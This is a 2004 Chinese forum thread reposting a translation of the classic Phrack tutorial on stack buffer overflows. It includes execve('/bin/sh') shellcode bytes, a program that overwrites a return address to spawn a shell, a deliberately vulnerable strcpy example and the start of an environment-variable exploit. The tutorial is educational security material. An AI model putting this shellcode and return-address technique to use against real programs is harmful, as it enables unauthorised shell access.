作者: starlight 时间: 2004-12-23 06:05 标题: 缓冲区溢出的原理和实践(Phrack)
由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下: a) 把以NULL结尾的字串"/bin/sh"放到内存某处. b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word) . c) 把0xb放到寄存器EAX中. d) 把字串"/bin/sh"的地址放到寄存器EBX中. e) 把字串"/bin/sh"地址的地址放到寄存器ECX中. (注: 原文d和e步骤把EBX和ECX弄反了) f) 把空长字的地址放到寄存器EDX中. g) 执行指令int $0x80. 但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令, 这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execv e 调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit 系统调用. exit系统调用在汇编语言看起来象什么呢? exit.c ------------------------------------------------------------------------------ #include
作者: starlight 时间: 2004-12-23 06:06 标题: 缓冲区溢出的原理和实践(Phrack)
[这个贴子最后由starlight在 2004/12/22 10:12pm 第 1 次编辑] 破解实战 ~~~~~~~~~~ 现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被 溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string = shellcode; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ 如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在 buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任 何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址 就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我 们的shellcode中, 得到一个shell. 我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个 缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址 都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈 的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出 它的堆栈指针: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ 假定我们要使其溢出的程序如下: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ 我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起 的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符 串放到一个环境变量中, 这样就容易操作一些. exploit2.c ------------------------------------------------------------------------------ #include
作者: starlight 时间: 2004-12-23 06:07 标题: 缓冲区溢出的原理和实践(Phrack)
[这个贴子最后由starlight在 2004/12/22 10:11pm 第 1 次编辑] 小缓冲区的溢出 ~~~~~~~~~~~~~~~~ 有时候想使其溢出的缓冲区太小了, 以至于shellcode都放不进去, 这样返回地址就 会被指令所覆盖, 而不是我们所推测的地址, 或者shellcode是放进去了, 但是没法填充 足够多的NOP指令, 这样推测地址的成功率就很低了. 要从这样的程序(小缓冲区)里得到 一个shell, 我们必须得想其他办法. 下面介绍的这种方法只在能够访问程序的环境变量 时有效. 我们所做的就是把shellcode放到环境变量中去, 然后用这个变量在内存中的地址来 使缓冲区溢出. 这种方法同时也提高了破解工作的成功率, 因为保存shellcode的环境变 量想要多大就有多大. 当程序开始时, 环境变量存储在堆栈的顶部, 任何使用setenv()的修改动作会在其他 地方重新分配空间. 开始时的堆栈如下所示:
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) | Powered by Discuz! 7.2 |